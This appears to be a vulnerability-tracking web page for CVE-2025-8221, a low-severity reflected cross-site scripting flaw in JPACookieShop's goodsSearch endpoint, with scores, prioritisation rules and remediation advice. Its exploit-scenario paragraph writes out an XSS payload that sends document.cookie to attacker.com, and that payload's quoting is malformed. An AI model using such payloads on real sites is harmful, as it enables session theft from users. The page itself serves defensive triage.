Skip to main content

JPACookieShop CVE-2025-8221

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-27 cna@vuldb.com
2.1
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts malicious search URL
  2. Delivery
    Victim clicks phishing link
  3. Exploit
    Keyword parameter reflected in response
  4. Execution
    Malicious JavaScript executes in victim browser
  5. Impact
    Sensitive data leaked or session compromised

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions: the GoodsCustController.goodsSearch endpoint must be accessible without authentication (confirmed by CVSS PR:N); the keyword parameter value must be reflected directly in the HTML response without encoding or validation; and a victim user must visit a crafted URL containing the malicious payload (required by CVSS UI:P). The vulnerability is NOT exploitable through stored XSS or automated bot attacks due to the reflected nature requiring user action. Non-default configurations (e.g., Web Application Firewall blocking special characters, CSP policies, or reverse proxies sanitizing input) would mitigate exploitation, but default JPACookieShop installations are vulnerable.

Impact

The risk assessment reveals a significant disconnect between technical severity and real-world exploitation probability. While CVSS 4.0 indicates network-accessible attack vector with low complexity and no privilege requirements, the actual risk is substantially mitigated by multiple factors: CVSS UI:P (user interaction required) means victims must click a crafted link; EPSS 0.06% (20th percentile) shows exploitation is statistically uncommon; no KEV listing suggests no confirmed active exploitation despite public POC availability; and the XSS scope is limited to information disclosure (VI:L) without session hijacking or account takeover capability. The distinction between POC existence and active exploitation is critical here-publicly available code does not indicate widespread deployment. Defense prioritization should focus on web application firewalls and input validation rather than treating this as an urgent threat.

Exploit ScenarioDerived

An attacker crafts a malicious URL containing JavaScript in the keyword search parameter, such as https://target.com/goods?keyword=<img src=x onerror='fetch(attacker.com/steal?cookie='+document.cookie+"'">, and tricks a legitimate user into clicking the link via phishing or social engineering. When the victim visits the page, the unencoded keyword reflects back in the search results, executing the attacker's JavaScript in their browser context and potentially stealing session cookies or credentials. The public POC on GitHub demonstrates this technique, though actual exploitation requires victim interaction.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Reflected cross-site scripting (XSS) in JPACookieShop's GoodsCustController.goodsSearch function allows remote unauthenticated attackers to inject malicious scripts via the keyword parameter, affecting user sessions with minimal complexity. The vulnerability carries a CVSS 2.1 score but requires user interaction (clicking a malicious link), and public exploit code is available. With an EPSS of 0.06% and no confirmed active exploitation in the wild, the real-world risk is low despite the disclosed POC.

RemediationAI

Implement immediate input validation and output encoding in the goodsSearch function: sanitize the keyword parameter using established XSS prevention libraries (e.g., OWASP Java Encoder or Spring Security's HtmlUtils) before rendering to HTML, or use parameterized templates that automatically escape output. For organizations unable to patch immediately due to the rolling release model, apply compensating controls including Content Security Policy (CSP) headers with script-src restrictions to prevent inline script execution, and enable httpOnly and Secure flags on session cookies to limit XSS impact. Additionally, implement input validation regex to reject or filter special characters from the keyword parameter, though sanitization of output remains the primary defense. Monitor the project repository at https://github.com/jerryshensjf/JPACookieShop for security commits and apply updates from rolling releases promptly.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the GoodsCustController.java file, specifically in the goodsSearch function that processes user-supplied input. The keyword parameter is processed without proper input validation or output encoding, allowing attackers to inject arbitrary HTML and JavaScript code that executes in the victim's browser context. This is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a fundamental web application security flaw where untrusted user input is reflected directly into the HTTP response without sanitization. The affected CPE cpe:2.3:a:jerryshensjf:jpacookieshop indicates the JPA-based e-commerce platform uses a rolling release model without versioning, making traditional patch tracking difficult.

Know when Jpacookieshop gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability classified as problematic was found in jerryshensjf JPACookieShop 蛋糕商城JPA版 up to 24a15c02b4f75042c9f7f615a3fed2ec1cefb999. Affected by this vulnerability is the function goodsSearch of the file GoodsCustController.java. The manipulation of the argument keyword leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available.

Threat Intelligence Overview

EPSS Score
0.1%
Top 80% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:jerryshensjf:jpacookieshop:-:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy